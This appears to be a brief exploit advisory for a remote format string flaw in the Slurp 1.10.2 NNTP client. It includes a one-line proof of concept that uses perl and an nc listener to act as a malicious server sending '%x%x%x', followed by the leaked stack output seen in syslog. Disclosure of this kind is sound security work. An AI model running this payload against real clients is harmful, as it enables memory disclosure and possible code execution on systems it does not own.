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Slurp 1.10.2 Format String Vulnerability
[# Exploit Title: Slurp 1.10.2 - Remote Format String Date: 2022-02-12 # Author: Milad Karimi slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems. It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory. perl -e 'print "BY BY BY \n666 %x%x%x\n'" | nc -l -p 112 Then check /var/log/messages for something like: slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c' # 0day.today [2024-11-16] #